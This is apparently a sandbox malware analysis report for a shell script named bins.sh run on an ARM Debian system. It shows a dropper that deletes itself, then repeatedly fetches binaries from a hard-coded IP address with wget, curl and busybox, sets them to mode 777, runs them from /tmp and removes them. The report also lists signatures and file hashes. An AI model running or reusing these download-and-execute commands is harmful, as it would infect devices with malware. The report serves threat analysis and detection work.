Analysis

  • max time kernel
    44s
  • max time network
    49s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/01/2025, 14:35

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250112-rxzxwsynbl
  • SHA256 ee7ec029ac4a593abb91c05f7d56e0323ea67176abf9c450d8e0ea4ab2e87667
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 30 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:662
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:665
        • /usr/bin/wget
          wget http://66.63.187.225/bins/4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo
          2⤵
            PID:669
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:677
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo
            2⤵
              PID:686
            • /bin/chmod
              chmod 777 4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo
              2⤵
              • File and Directory Permissions Modification
              PID:690
            • /tmp/4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo
              ./4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo
              2⤵
              • Executes dropped EXE
              PID:692
            • /bin/rm
              rm 4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo
              2⤵
                PID:694
              • /usr/bin/wget
                wget http://66.63.187.225/bins/dpgTk0jZJ3QI5jDtsndwO4andKhxPM607Q
                2⤵
                  PID:695
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/dpgTk0jZJ3QI5jDtsndwO4andKhxPM607Q
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:697
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/dpgTk0jZJ3QI5jDtsndwO4andKhxPM607Q
                  2⤵
                    PID:699
                  • /bin/chmod
                    chmod 777 dpgTk0jZJ3QI5jDtsndwO4andKhxPM607Q
                    2⤵
                    • File and Directory Permissions Modification
                    PID:700
                  • /tmp/dpgTk0jZJ3QI5jDtsndwO4andKhxPM607Q
                    ./dpgTk0jZJ3QI5jDtsndwO4andKhxPM607Q
                    2⤵
                    • Executes dropped EXE
                    PID:701
                  • /bin/rm
                    rm dpgTk0jZJ3QI5jDtsndwO4andKhxPM607Q
                    2⤵
                      PID:702
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/yMTAIqfkhkdnyWE19EKBuNz4NtjVYkWEyl
                      2⤵
                        PID:703
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/yMTAIqfkhkdnyWE19EKBuNz4NtjVYkWEyl
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:704
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/yMTAIqfkhkdnyWE19EKBuNz4NtjVYkWEyl
                        2⤵
                          PID:714
                        • /bin/chmod
                          chmod 777 yMTAIqfkhkdnyWE19EKBuNz4NtjVYkWEyl
                          2⤵
                          • File and Directory Permissions Modification
                          PID:717
                        • /tmp/yMTAIqfkhkdnyWE19EKBuNz4NtjVYkWEyl
                          ./yMTAIqfkhkdnyWE19EKBuNz4NtjVYkWEyl
                          2⤵
                          • Executes dropped EXE
                          PID:719
                        • /bin/rm
                          rm yMTAIqfkhkdnyWE19EKBuNz4NtjVYkWEyl
                          2⤵
                            PID:720
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/VLczE7wJHdsD7yDS2kwaharZwKnC2qlBQY
                            2⤵
                              PID:721
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/VLczE7wJHdsD7yDS2kwaharZwKnC2qlBQY
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:725
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/VLczE7wJHdsD7yDS2kwaharZwKnC2qlBQY
                              2⤵
                                PID:730
                              • /bin/chmod
                                chmod 777 VLczE7wJHdsD7yDS2kwaharZwKnC2qlBQY
                                2⤵
                                • File and Directory Permissions Modification
                                PID:740
                              • /tmp/VLczE7wJHdsD7yDS2kwaharZwKnC2qlBQY
                                ./VLczE7wJHdsD7yDS2kwaharZwKnC2qlBQY
                                2⤵
                                • Executes dropped EXE
                                PID:741
                              • /bin/rm
                                rm VLczE7wJHdsD7yDS2kwaharZwKnC2qlBQY
                                2⤵
                                  PID:743
                                • /usr/bin/wget
                                  wget http://66.63.187.225/bins/NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                  2⤵
                                    PID:745
                                  • /usr/bin/curl
                                    curl -O http://66.63.187.225/bins/NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:750
                                  • /bin/busybox
                                    /bin/busybox wget http://66.63.187.225/bins/NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                    2⤵
                                      PID:758
                                    • /bin/chmod
                                      chmod 777 NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:762
                                    • /tmp/NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                      ./NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                      2⤵
                                      • Executes dropped EXE
                                      PID:764
                                    • /bin/rm
                                      rm NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                      2⤵
                                        PID:765
                                      • /usr/bin/wget
                                        wget http://66.63.187.225/bins/qXfQANb1wmBXEy1iP4as4W0Sgno2W4lVXl
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:766
                                      • /usr/bin/curl
                                        curl -O http://66.63.187.225/bins/qXfQANb1wmBXEy1iP4as4W0Sgno2W4lVXl
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:768
                                      • /bin/busybox
                                        /bin/busybox wget http://66.63.187.225/bins/qXfQANb1wmBXEy1iP4as4W0Sgno2W4lVXl
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:770
                                      • /bin/chmod
                                        chmod 777 qXfQANb1wmBXEy1iP4as4W0Sgno2W4lVXl
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:771
                                      • /tmp/qXfQANb1wmBXEy1iP4as4W0Sgno2W4lVXl
                                        ./qXfQANb1wmBXEy1iP4as4W0Sgno2W4lVXl
                                        2⤵
                                        • Executes dropped EXE
                                        • System Network Configuration Discovery
                                        PID:772
                                      • /bin/rm
                                        rm qXfQANb1wmBXEy1iP4as4W0Sgno2W4lVXl
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:773
                                      • /usr/bin/wget
                                        wget http://66.63.187.225/bins/ZxMZOFJdIuKWYksqznAYRF2HzDeAnorL6x
                                        2⤵
                                          PID:774
                                        • /usr/bin/curl
                                          curl -O http://66.63.187.225/bins/ZxMZOFJdIuKWYksqznAYRF2HzDeAnorL6x
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:775
                                        • /bin/busybox
                                          /bin/busybox wget http://66.63.187.225/bins/ZxMZOFJdIuKWYksqznAYRF2HzDeAnorL6x
                                          2⤵
                                            PID:778
                                          • /bin/chmod
                                            chmod 777 ZxMZOFJdIuKWYksqznAYRF2HzDeAnorL6x
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:781
                                          • /tmp/ZxMZOFJdIuKWYksqznAYRF2HzDeAnorL6x
                                            ./ZxMZOFJdIuKWYksqznAYRF2HzDeAnorL6x
                                            2⤵
                                            • Executes dropped EXE
                                            PID:782
                                          • /bin/rm
                                            rm ZxMZOFJdIuKWYksqznAYRF2HzDeAnorL6x
                                            2⤵
                                              PID:784
                                            • /usr/bin/wget
                                              wget http://66.63.187.225/bins/Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6
                                              2⤵
                                                PID:785
                                              • /usr/bin/curl
                                                curl -O http://66.63.187.225/bins/Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:790
                                              • /bin/busybox
                                                /bin/busybox wget http://66.63.187.225/bins/Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6
                                                2⤵
                                                  PID:794
                                                • /bin/chmod
                                                  chmod 777 Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:816
                                                • /tmp/Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6
                                                  ./Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:817
                                                • /bin/rm
                                                  rm Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6
                                                  2⤵
                                                    PID:818
                                                  • /usr/bin/wget
                                                    wget http://66.63.187.225/bins/SuicemwKhZFBKRTeychmwBWy1yjY8LQEhr
                                                    2⤵
                                                      PID:819
                                                    • /usr/bin/curl
                                                      curl -O http://66.63.187.225/bins/SuicemwKhZFBKRTeychmwBWy1yjY8LQEhr
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:822
                                                    • /bin/busybox
                                                      /bin/busybox wget http://66.63.187.225/bins/SuicemwKhZFBKRTeychmwBWy1yjY8LQEhr
                                                      2⤵
                                                        PID:823
                                                      • /bin/chmod
                                                        chmod 777 SuicemwKhZFBKRTeychmwBWy1yjY8LQEhr
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:824
                                                      • /tmp/SuicemwKhZFBKRTeychmwBWy1yjY8LQEhr
                                                        ./SuicemwKhZFBKRTeychmwBWy1yjY8LQEhr
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:825
                                                      • /bin/rm
                                                        rm SuicemwKhZFBKRTeychmwBWy1yjY8LQEhr
                                                        2⤵
                                                          PID:826
                                                        • /usr/bin/wget
                                                          wget http://66.63.187.225/bins/UWeUX4FNmKlqIYPxL0TQJBJxve0o0qjzDI
                                                          2⤵
                                                            PID:827
                                                          • /usr/bin/curl
                                                            curl -O http://66.63.187.225/bins/UWeUX4FNmKlqIYPxL0TQJBJxve0o0qjzDI
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:828
                                                          • /bin/busybox
                                                            /bin/busybox wget http://66.63.187.225/bins/UWeUX4FNmKlqIYPxL0TQJBJxve0o0qjzDI
                                                            2⤵
                                                              PID:829
                                                            • /bin/chmod
                                                              chmod 777 UWeUX4FNmKlqIYPxL0TQJBJxve0o0qjzDI
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:830
                                                            • /tmp/UWeUX4FNmKlqIYPxL0TQJBJxve0o0qjzDI
                                                              ./UWeUX4FNmKlqIYPxL0TQJBJxve0o0qjzDI
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:831
                                                            • /bin/rm
                                                              rm UWeUX4FNmKlqIYPxL0TQJBJxve0o0qjzDI
                                                              2⤵
                                                                PID:832
                                                              • /usr/bin/wget
                                                                wget http://66.63.187.225/bins/mkum85XLgXurFH8oFNPhuE2EwNGwiZ8uCI
                                                                2⤵
                                                                  PID:833
                                                                • /usr/bin/curl
                                                                  curl -O http://66.63.187.225/bins/mkum85XLgXurFH8oFNPhuE2EwNGwiZ8uCI
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:834
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://66.63.187.225/bins/mkum85XLgXurFH8oFNPhuE2EwNGwiZ8uCI
                                                                  2⤵
                                                                    PID:835
                                                                  • /bin/chmod
                                                                    chmod 777 mkum85XLgXurFH8oFNPhuE2EwNGwiZ8uCI
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:836
                                                                  • /tmp/mkum85XLgXurFH8oFNPhuE2EwNGwiZ8uCI
                                                                    ./mkum85XLgXurFH8oFNPhuE2EwNGwiZ8uCI
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:837
                                                                  • /bin/rm
                                                                    rm mkum85XLgXurFH8oFNPhuE2EwNGwiZ8uCI
                                                                    2⤵
                                                                      PID:838
                                                                    • /usr/bin/wget
                                                                      wget http://66.63.187.225/bins/EtR0xvs6ThwquIWSxd1EYz1HpEkLmAdzPE
                                                                      2⤵
                                                                        PID:839
                                                                      • /usr/bin/curl
                                                                        curl -O http://66.63.187.225/bins/EtR0xvs6ThwquIWSxd1EYz1HpEkLmAdzPE
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:840
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://66.63.187.225/bins/EtR0xvs6ThwquIWSxd1EYz1HpEkLmAdzPE
                                                                        2⤵
                                                                          PID:841
                                                                        • /bin/chmod
                                                                          chmod 777 EtR0xvs6ThwquIWSxd1EYz1HpEkLmAdzPE
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:842
                                                                        • /tmp/EtR0xvs6ThwquIWSxd1EYz1HpEkLmAdzPE
                                                                          ./EtR0xvs6ThwquIWSxd1EYz1HpEkLmAdzPE
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:843
                                                                        • /bin/rm
                                                                          rm EtR0xvs6ThwquIWSxd1EYz1HpEkLmAdzPE
                                                                          2⤵
                                                                            PID:844
                                                                          • /usr/bin/wget
                                                                            wget http://66.63.187.225/bins/3qqqlvekwNlmVqmF9DooPOBAZdCSkdYExm
                                                                            2⤵
                                                                              PID:845
                                                                            • /usr/bin/curl
                                                                              curl -O http://66.63.187.225/bins/3qqqlvekwNlmVqmF9DooPOBAZdCSkdYExm
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:846
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://66.63.187.225/bins/3qqqlvekwNlmVqmF9DooPOBAZdCSkdYExm
                                                                              2⤵
                                                                                PID:847
                                                                              • /bin/chmod
                                                                                chmod 777 3qqqlvekwNlmVqmF9DooPOBAZdCSkdYExm
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:848
                                                                              • /tmp/3qqqlvekwNlmVqmF9DooPOBAZdCSkdYExm
                                                                                ./3qqqlvekwNlmVqmF9DooPOBAZdCSkdYExm
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:849
                                                                              • /bin/rm
                                                                                rm 3qqqlvekwNlmVqmF9DooPOBAZdCSkdYExm
                                                                                2⤵
                                                                                  PID:850
                                                                                • /usr/bin/wget
                                                                                  wget http://66.63.187.225/bins/GSaQfBznkebNA5PxLCWembzcTC6r5W6UGB
                                                                                  2⤵
                                                                                    PID:851
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://66.63.187.225/bins/GSaQfBznkebNA5PxLCWembzcTC6r5W6UGB
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:852
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://66.63.187.225/bins/GSaQfBznkebNA5PxLCWembzcTC6r5W6UGB
                                                                                    2⤵
                                                                                      PID:853
                                                                                    • /bin/chmod
                                                                                      chmod 777 GSaQfBznkebNA5PxLCWembzcTC6r5W6UGB
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:856
                                                                                    • /tmp/GSaQfBznkebNA5PxLCWembzcTC6r5W6UGB
                                                                                      ./GSaQfBznkebNA5PxLCWembzcTC6r5W6UGB
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:857
                                                                                    • /bin/rm
                                                                                      rm GSaQfBznkebNA5PxLCWembzcTC6r5W6UGB
                                                                                      2⤵
                                                                                        PID:858
                                                                                      • /usr/bin/wget
                                                                                        wget http://66.63.187.225/bins/NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                                                                        2⤵
                                                                                          PID:859
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://66.63.187.225/bins/NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:860
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://66.63.187.225/bins/NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                                                                          2⤵
                                                                                            PID:861
                                                                                          • /bin/chmod
                                                                                            chmod 777 NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:862
                                                                                          • /tmp/NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                                                                            ./NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:863
                                                                                          • /bin/rm
                                                                                            rm NgQxJOfzbVdBBrwnO5WQ5E0kH5M157vxK4
                                                                                            2⤵
                                                                                              PID:864
                                                                                            • /usr/bin/wget
                                                                                              wget http://66.63.187.225/bins/qXfQANb1wmBXEy1iP4as4W0Sgno2W4lVXl
                                                                                              2⤵
                                                                                              • System Network Configuration Discovery
                                                                                              PID:865

                                                                                          Network

                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                Replay Monitor

                                                                                                Loading Replay Monitor...

                                                                                                Downloads

                                                                                                4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo

                                                                                                • Path /tmp/4Q6O7VB7kt4DZG6CJ63bGjGor3f668ZnCo
                                                                                                • Size 153B
                                                                                                • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                                • MD5 SHA1 SHA512

                                                                                                Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6

                                                                                                • Path /tmp/Q17yvlh2vHRACmVhj8HocLF2yMgkJHK0E6
                                                                                                • Size 555B
                                                                                                • SHA256 77df749f6bbe85442500437f7e798f46b9635da344811ae3b4bf7d43048ee9bb
                                                                                                • MD5 SHA1 SHA512